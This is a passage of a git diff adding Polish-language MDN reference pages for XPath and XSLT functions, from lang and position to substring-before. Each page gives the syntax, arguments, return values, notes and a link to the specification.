+<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xslt#function-key" class="external">XSLT 1.0 12.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>{{ languages( { "en": "en/XPath/Functions/key", "fr": "fr/XPath/Fonctions/key" } ) }}
diff --git a/files/pl/web/xpath/funkcje/lang/index.html b/files/pl/web/xpath/funkcje/lang/index.html
new file mode 100644
index 0000000000..fc938aa6c3
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/lang/index.html
@@ -0,0 +1,58 @@
+---
+title: lang
+slug: Web/XPath/Funkcje/lang
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/lang
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>lang</code> określa, czy wierzchołek kontekstu jest zgodny z podanym językiem i zwraca wartość logiczną <code>true</code> lub <code>false</code>.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">lang( <i>string</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>string</i></code>
+</dt><dd>Kod języka lub lokalizacji (język oraz kraj) do sprawdzenia.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p><code>True</code>, jeśli wierzchołek kontekstu odpowiada danemu językowi. W przeciwnym wypadku <code>false</code>.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Język wierzchołka określany jest na podstawie jego atrybutu <code>xml:lang</code>. Jeśli aktualny wierzchołek go nie posiada, wartość jest określana przez najbliższego przodka posiadającego atrybut <code>xml:lang</code>. W przypadku niemożności określenia języka (żaden przodek nie posiada atrybutu <code>xml:lang</code>), funkcja zwróci wartość fałsz.
+</li></ul>
+<ul><li> Jeśli dany łańcuch znaków nie określa kodu kraju, funkcja ta porówna wierzchołki tego języka z wszystkimi kodami krajów. Odwrotność nie jest prawdziwa.
+</li></ul>
+<p>Bazując na poniższym fragmencie kodu XML:
+</p>
+<pre>&lt;p xml:lang="en"&gt;I went up a floor.&lt;/p&gt;
+&lt;p xml:lang="en-GB"&gt;I took the lift.&lt;/p&gt;
+&lt;p xml:lang="en-US"&gt;I rode the elevator.&lt;/p&gt;</pre>
+<p>Oraz tej części szablonu XSL:
+</p>
+<pre class="eval">&lt;xsl:value-of select="count(//p[lang('en')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-GB')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('en-US')])" /&gt;
+&lt;xsl:value-of select="count(//p[lang('de')])" /&gt;
+</pre>
+<p>Wynik może być następujący:
+</p>
+<pre class="eval">3
+1
+1
+0
+</pre>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-lang" class="external">XPath 1.0 4.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/lang", "fr": "fr/XPath/Fonctions/lang", "ja": "ja/XPath/Functions/lang" } ) }}
diff --git a/files/pl/web/xpath/funkcje/last/index.html b/files/pl/web/xpath/funkcje/last/index.html
new file mode 100644
index 0000000000..f3a507ad3f
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/last/index.html
@@ -0,0 +1,33 @@
+---
+title: last
+slug: Web/XPath/Funkcje/last
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/last
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>last</code> zwracająca liczbę równą rozmiarowi kontekstu z kontekstu oceny wyrażenia.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">last()
+</pre>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Liczbę całkowitą równą rozmiarowi kontekstu z kontekstu oceny wyrażenia.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Jest często używana wraz z funkcją <code><a href="pl/XPath/Funkcje/position"> position()</a></code> do określenia, czy konkretny wierzchołek jest ostatni w zbiorze wierzchołków.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-last" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/last", "fr": "fr/XPath/Fonctions/last", "ja": "ja/XPath/Functions/last" } ) }}
diff --git a/files/pl/web/xpath/funkcje/local-name/index.html b/files/pl/web/xpath/funkcje/local-name/index.html
new file mode 100644
index 0000000000..95996699eb
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/local-name/index.html
@@ -0,0 +1,36 @@
+---
+title: local-name
+slug: Web/XPath/Funkcje/local-name
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/local-name
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>local-name</code> zwraca łańcuch znaków reprezentujący lokalną nazwę pierwszego wierzchołka w danym zbiorze wierzchołków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">local-name( [<i>zbiór_wierzchołków</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny)
+</dt><dd>Zostanie zwrócona nazwa lokalna pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli ten argument jest pominięty, zostanie użyty aktualny wierzchołek kontekstu.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Nazwa lokalna jest częścią lokalną <a href="http://www.w3.org/TR/xpath#dt-expanded-name" class="external">expanded-name</a>.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/local-name", "fr": "fr/XPath/Fonctions/local-name", "ja": "ja/XPath/Functions/local-name" } ) }}
diff --git a/files/pl/web/xpath/funkcje/name/index.html b/files/pl/web/xpath/funkcje/name/index.html
new file mode 100644
index 0000000000..d9817c87dd
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/name/index.html
@@ -0,0 +1,35 @@
+---
+title: name
+slug: Web/XPath/Funkcje/name
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/name
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>name</code> zwraca łańcuch znaków reprezentujący QName pierwszego wierzchołka w danym zbiorze wierzchołków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">name( [<i>zbiór_wierzchołków</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny)
+</dt><dd>Zostanie zwrócony QName pierwszego wierzchołka w tym zbiorze. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków reprezentujący QName wierzchołka.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> <a href="http://www.w3.org/TR/REC-xml-names/#NT-QName" class="external">QName</a> jest odpowiednią nazwą wierzchołka, włączając prefiks jego przestrzeni nazw i jego lokalną nazwę.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/name", "fr": "fr/XPath/Fonctions/name", "ja": "ja/XPath/Functions/name" } ) }}
diff --git a/files/pl/web/xpath/funkcje/namespace-uri/index.html b/files/pl/web/xpath/funkcje/namespace-uri/index.html
new file mode 100644
index 0000000000..4c5e2e5d16
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/namespace-uri/index.html
@@ -0,0 +1,37 @@
+---
+title: namespace-uri
+slug: Web/XPath/Funkcje/namespace-uri
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/namespace-uri
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>namespace-uri</code> zwraca łańcuch znaków reprezentujący URI przestrzeni nazw dla pierwszego wierzchołka danego zbioru wierzchołków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">namespace-uri( [<i>zbiór_wierzchołków</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny)
+</dt><dd>Zwrócony zostanie URI przestrzeni nazw pierwszego wierzchołka w tym zbiorze wierzchołków. Jeśli argument ten zostanie pominięty, użyty zostanie aktualny wierzchołek kontekstu.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Ciąg reprezentujący URI przestrzeni nazw, w której dany wierzchołek kontekstu się znajduje.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Jeśli podany wierzchołek nie posiada przestrzeni nazw, zwrócony łańcuch znaków będzie zawsze pusty. </li></ul>
+<ul><li> Dla wierzchołków innych niż wierzchołki elementu i atrybutu, zwrócony łańcuch znaków będzie zawsze pusty.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-local-name" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/namespace-uri", "fr": "fr/XPath/Fonctions/namespace-uri", "ja": "ja/XPath/Functions/namespace-uri" } ) }}
diff --git a/files/pl/web/xpath/funkcje/normalize-space/index.html b/files/pl/web/xpath/funkcje/normalize-space/index.html
new file mode 100644
index 0000000000..4fb220da39
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/normalize-space/index.html
@@ -0,0 +1,34 @@
+---
+title: normalize-space
+slug: Web/XPath/Funkcje/normalize-space
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/normalize-space
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>normalize-space</code> usuwa poprzedzające i końcowe białe znaki z łańcucha znaków, zastępując je pojedynczą spacją i zwracając łańcuch wynikowy.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">normalize-space( [<i>łańcuch_znaków</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>łańcuch_znaków</i></code> (opcjonalny)
+</dt><dd>Łańcuch znaków do znormalizowania. Jeśli zostanie pominięty, użyty zostanie wierzchołek kontekstu skonwertowany do łańcucha znaków.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Znormalizowany łańcuch znaków.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-normalize-space" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/normalize-space", "fr": "fr/XPath/Fonctions/normalize-space", "ja": "ja/XPath/Functions/normalize-space" } ) }}
diff --git a/files/pl/web/xpath/funkcje/not/index.html b/files/pl/web/xpath/funkcje/not/index.html
new file mode 100644
index 0000000000..9de59d5d7a
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/not/index.html
@@ -0,0 +1,37 @@
+---
+title: not
+slug: Web/XPath/Funkcje/not
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/not
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>not</code> ocenia wartość wyrażenia logicznego i zwraca wartość przeciwną.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">not( <i>wyrażenie</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><code><i>wyrażenie</i></code>
+</dt><dd>Wyrażenie jest oceniane dokładnie tak, jak gdyby zostało ono przekazane jako argument funkcji <a href="pl/XPath/Funkcje/boolean">boolean()</a>.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Prawda, jeśli wyrażenie jest fałszywe; fałsz, jeżeli wyrażenie zostało ocenione jako prawdziwe.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Funkcja ta powinna zachowywać się podobnie do funkcji <a href="pl/XPath/Funkcje/boolean">boolean()</a>, oprócz tego, że zwraca ona przeciwną wartość wyrażenia.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-not" class="external">XPath 1.0 4.3</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/not", "fr": "fr/XPath/Fonctions/not", "ja": "ja/XPath/Functions/not" } ) }}
diff --git a/files/pl/web/xpath/funkcje/number/index.html b/files/pl/web/xpath/funkcje/number/index.html
new file mode 100644
index 0000000000..22d3f72b02
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/number/index.html
@@ -0,0 +1,37 @@
+---
+title: number
+slug: Web/XPath/Funkcje/number
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/number
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>number</code> konwertuje obiekt do liczby i zwraca liczbę. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">number( [<i>obiekt</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>obiekt</code></i> (opcjonalny)
+</dt><dd>Obiekt, który ma zostać przekonwertowany do liczby. Jeśli pominięty, użyty zostanie wierzchołek aktualnego kontekstu.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Liczbę będącą wynikiem konwersji obiektu.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Łańcuchy znaków są konwertowane do liczby poprzez usunięcie poprzedzających białych znaków znajdujących się przed liczbą i zignorowanie białych znaków występujących po niej. Jeśli łańcuch znaków nie odpowiada temu wzorcowi, jest on konwertowany do wartości NaN. </li><li> Logiczna prawda jest konwertowana do 1. Fałsz jest konwertowany do 0. </li><li> Zbiór wierzchołków jest konwertowany najpierw do łańcucha znaków tak, jak przez funkcję <code><a href="pl/XPath/Funkcje/string">string()</a></code>, a następnie konwertowany w ten sam sposób, co argument będący łańcuchem znaków.
+</li><li> Typ obiektu inny niż cztery typy podstawowe jest konwertowany do liczby w sposób zależny od tego typu.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-number" class="external">XPath 1.0 4.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/number", "fr": "fr/XPath/Fonctions/number", "ja": "ja/XPath/Functions/number" } ) }}
diff --git a/files/pl/web/xpath/funkcje/position/index.html b/files/pl/web/xpath/funkcje/position/index.html
new file mode 100644
index 0000000000..665df2309a
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/position/index.html
@@ -0,0 +1,44 @@
+---
+title: position
+slug: Web/XPath/Funkcje/position
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/position
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>position</code> zwraca liczbę równą pozycji kontekstu z kontekstu oceny wyrażenia.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">position()
+</pre>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Liczbę całkowitą równą pozycji kontekstu z kontekstu oceny wyrażenia.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Należy zauważyć, że pozycja wierzchołka w kontekście nie zaczyna się od zera. Pierwszy wierzchołek ma pozycję 1.
+</li><li> Kontekst jest określony przez resztę ścieżki.
+</li></ul>
+<pre class="eval">&lt;xsl:template match="//a[position() = 5"&gt;
+ &lt;!-- ten szablon odpowiada piątemu elementowi gdziekolwiek
+ w dokumencie. --&gt;
+&lt;/xsl:template&gt;
+</pre>
+<pre class="eval">&lt;xsl:template match="//div[@class='foo']/bar[position() = 1]"&gt;
+ &lt;!-- ten szablon odpowiada pierwszemu elementowi bar będącemu
+ potomkiem elementu div z atrybutem class równym "foo" --&gt;
+&lt;/xsl:template&gt;
+</pre>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-position" class="external">XPath 1.0 4.1</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/position", "fr": "fr/XPath/Fonctions/position", "ja": "ja/XPath/Functions/position" } ) }}
diff --git a/files/pl/web/xpath/funkcje/round/index.html b/files/pl/web/xpath/funkcje/round/index.html
new file mode 100644
index 0000000000..8f9d827b74
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/round/index.html
@@ -0,0 +1,36 @@
+---
+title: round
+slug: Web/XPath/Funkcje/round
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/round
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>round</code> zwraca liczbę będąca liczbą całkowitą najbliższą podanej. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">round( <i>dziesiętna</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>dziesiętna</code></i>
+</dt><dd>Liczba dziesiętna do zaokrąglenia.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Najbliższą liczbę całkowitą mniejszą, większą bądź równą wartości <i><code>dziesiętna</code></i>.
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Liczba -0.5 jest zaokrąglana do zera ujemnego. 0.4 jest zaokrąglana do zera dodatniego.
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-round" class="external">XPath 1.0 4.4</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/round", "fr": "fr/XPath/Fonctions/round", "ja": "ja/XPath/Functions/round" } ) }}
diff --git a/files/pl/web/xpath/funkcje/starts-with/index.html b/files/pl/web/xpath/funkcje/starts-with/index.html
new file mode 100644
index 0000000000..f833baa82f
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/starts-with/index.html
@@ -0,0 +1,36 @@
+---
+title: starts-with
+slug: Web/XPath/Funkcje/starts-with
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/starts-with
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+</p><p>Funkcja <code>starts-with</code> sprawdza, czy pierwszy łańcuch znaków rozpoczyna się drugim łańcuchem i zwraca prawdę lub fałsz. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">starts-with( <i>stóg siana</i> , <i>igła</i>)
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>stóg siana</code></i>
+</dt><dd>Przeszukiwany łańcuch znaków.
+</dd></dl>
+<dl><dt><i><code>igła</code></i>
+</dt><dd>Szukany łańcuch znaków.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p><code>True</code>, jeśli <i><code>stóg siana</code></i> rozpoczyna się podciągiem <i><code>igła</code></i>. W przeciwnym wypadku <code>false</code>.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-starts-with" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/starts-with", "fr": "fr/XPath/Fonctions/starts-with", "ja": "ja/XPath/Functions/starts-with" } ) }}
diff --git a/files/pl/web/xpath/funkcje/string-length/index.html b/files/pl/web/xpath/funkcje/string-length/index.html
new file mode 100644
index 0000000000..d0890579ab
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/string-length/index.html
@@ -0,0 +1,32 @@
+---
+title: string-length
+slug: Web/XPath/Funkcje/string-length
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/string-length
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>string-length</code> zwraca liczbę równą liczbie znaków w danym łańcuchu znaków. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">string-length( [<i>łańcuch</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>łańcuch</code></i> (opcjonalny)
+</dt><dd>Oceniany łańcuch znaków. Jeśli pominięty, użyty zostanie łańcuch znaków taki sam jak wierzchołek kontekstu skonwertowany do łańcucha znaków. </dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Liczbę całkowitą równą liczbie znaków w ciągu.
+</p>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-string-length" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/string-length", "fr": "fr/XPath/Fonctions/string-length", "ja": "ja/XPath/Functions/string-length" } ) }}
diff --git a/files/pl/web/xpath/funkcje/string/index.html b/files/pl/web/xpath/funkcje/string/index.html
new file mode 100644
index 0000000000..d84708e71f
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/string/index.html
@@ -0,0 +1,43 @@
+---
+title: string
+slug: Web/XPath/Funkcje/string
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/string
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>string</code> konwertuje dany argument do łańcucha znaków.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">string( [<i>obiekt</i>] )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>obiekt</code></i> (opcjonalny)
+</dt><dd>Obiekt, który ma zostać przekonwertowany do łańcucha znaków. Jeśli pominięty, użyty zostanie wierzchołek kontekstu.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<ul><li> Jeśli obiekt jest zbiorem wierzchołków, zwracana jest wartość łańcucha znaków pierwszego wierzchołka w zbiorze. </li><li> Liczby są konwertowane następująco:
+<ul><li> NaN jest konwertowane do ciągu NaN.
+</li><li> Dodatnie zero jest konwertowane do łańcucha 0.
+</li><li> Ujemne zero jest konwertowane do łańcucha 0.
+</li><li> Dodatnia nieskończoność jest konwertowana do łańcucha <code>Infinity</code>.
+</li><li> Ujemna nieskończoność jest konwertowana do łańcucha <code>-Infinity</code>.
+</li><li> Liczby dziesiętne między -1 i 1 są konwertowane do łańcucha znaków z pojedynczym zerem poprzedzającym kropkę dziesiętną. </li></ul>
+</li></ul>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-string" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/string", "fr": "fr/XPath/Fonctions/string", "ja": "ja/XPath/Functions/string" } ) }}
diff --git a/files/pl/web/xpath/funkcje/substring-after/index.html b/files/pl/web/xpath/funkcje/substring-after/index.html
new file mode 100644
index 0000000000..faf0b7ae6a
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/substring-after/index.html
@@ -0,0 +1,40 @@
+---
+title: substring-after
+slug: Web/XPath/Funkcje/substring-after
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/substring-after
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>substring-after</code> zwraca łańcuch znaków będący resztą podanego łańcucha znaków po danym podciągu.
+</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">substring-after( <i>stóg siana</i> , <i>igła</i> )
+</pre>
+<h3 id="Argumenty" name="Argumenty"> Argumenty </h3>
+<dl><dt><i><code>stóg siana</code></i>
+</dt><dd>Oceniany łańcuch znaków. Zostanie zwrócona część tego łańcucha.
+</dd></dl>
+<dl><dt><i><code>igła</code></i>
+</dt><dd>Szukany podciąg. Zostanie zwrócone wszystko po pierwszym wystąpieniu <i><code>igła</code></i> w łańcuchu <i><code>stóg siana</code></i>.
+</dd></dl>
+<h3 id="Zwraca" name="Zwraca"> Zwraca </h3>
+<p>Łańcuch znaków.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<table class="standard-table"> <tbody><tr> <th>Przykład XPath</th> <th>Wyświetli</th> </tr> <tr> <td><code>substring-after('aa-bb','-')</code></td> <td><code>bb</code></td> </tr> <tr> <td><code>substring-after('aa-bb','a')</code></td> <td><code>a-bb</code></td> </tr> <tr> <td><code>substring-after('aa-bb','b')</code></td> <td><code>b</code></td> </tr> <tr> <td><code>substring-after('aa-bb','q')</code></td> <td>(pusty łańcuch znaków)</td> </tr>
+</tbody></table>
+<h3 id="Definicja" name="Definicja"> Definicja </h3>
+<p><a href="http://www.w3.org/TR/xpath#function-substring-after" class="external">XPath 1.0 4.2</a>
+</p>
+<h3 id="Gecko" name="Gecko"> Gecko </h3>
+<p>Obsługuje.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/XPath/Functions/substring-after", "fr": "fr/XPath/Fonctions/substring-after", "ja": "ja/XPath/Functions/substring-after" } ) }}
diff --git a/files/pl/web/xpath/funkcje/substring-before/index.html b/files/pl/web/xpath/funkcje/substring-before/index.html
new file mode 100644
index 0000000000..9786005f7c
--- /dev/null
+++ b/files/pl/web/xpath/funkcje/substring-before/index.html
@@ -0,0 +1,38 @@
+---
+title: substring-before
+slug: Web/XPath/Funkcje/substring-before
+tags:
+ - Dokumentacje
+ - Wszystkie_kategorie
+ - XSLT
+ - 'XSLT:Dokumentacje'
+translation_of: Web/XPath/Functions/substring-before
+---
+<p>
+{{ XsltRef() }}
+</p><p><br>
+Funkcja <code>substring-before</code> zwraca łańcuch znaków będący resztą podanego łańcucha znaków przed danym podciągiem. </p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">substring-before( <i>stóg siana</i> , <i>igła</i> )
+</pre>
